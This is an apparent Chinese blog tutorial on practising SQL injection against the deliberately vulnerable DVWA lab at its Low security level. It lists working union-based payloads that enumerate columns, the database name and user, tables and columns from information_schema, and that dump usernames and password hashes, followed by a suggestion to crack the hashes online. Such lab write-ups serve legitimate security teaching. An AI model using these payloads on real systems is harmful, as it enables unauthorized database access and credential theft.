引言

近年来,网络安全问题日益突出,网络安全事件频繁发生,如何加强系统的安全性变得越来越重要。本文将利用WAMP+DVWA平台练习SQL注入的攻防。

准备工作

(1)首先下载好WAMP
(2)在WAMP中配置好DVWA

进行SQL注入

(1)选择SQL Injection
image.png
(2)将DVWA Security的等级设置为Low
image.png
(3)检查有输入框的地方是否存在SQL注入
在输入框中输入1
image.png
在输入框中输入2
image.png
在输入框中输入'(英文状态下的逗号)
image.png
通过以上三次输入发现当输入'发现报错,说明该输入框存在SQL注入漏洞
(4)确定该数据库中有多少个表格
1' order by 1#
1' order by 2#
1' order by 3#
依次输入以上3条SQL查询语句,发现输入第3条SQL查询语句时报错,报错信息如下:
image.png
从而确定该数据库中有2个表
(5)获取该数据库的敏感信息,数据库的名字和用户名
1' union select database(),user()#
拿到了数据库的信息如下:
image.png
(6)构造payload语句拿到数据库中表的名称信息
1' union select table_name,2 from information_schema.tables where table_schema = 'dvwa'#
从而可以拿到数据库信息如下所示:
image.png
(7)构造payload语句拿到指定表中列的名称
1' union select column_name,2 from information_schema.columns where table_schema = 'dvwa' and table_name='users'#
从而拿到了users这张表里有那些字段,以及每个字段的名称,具体信息如下所示:
image.png
(8)我们可以获取我们感兴趣的字段的具体信息,例如我们想拿到user和password字段的具体信息,可以构造如下payload语句进行获取
1' union select user,password from users#
image.png
从上图可以看出用户名,但是密码是经过加密的,我们可以使用在线的解密工具对加密的密码进行解密


james
202 声望24 粉丝